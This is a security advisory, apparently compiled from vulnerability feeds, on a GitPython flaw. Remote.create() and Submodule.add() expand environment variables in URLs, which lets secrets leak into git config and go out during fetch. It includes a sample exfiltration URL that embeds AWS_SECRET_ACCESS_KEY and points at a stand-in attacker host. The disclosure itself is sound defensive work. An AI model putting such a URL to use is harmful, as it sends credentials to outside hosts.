Affected: gitpython-developers GitPython

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

Affected: PyPI: GitPython

## Summary

The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.

## Root Cause

Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated.

[`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`:

```python url = Git.polish_url(url)…

Affected: PyPI: gitpython

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.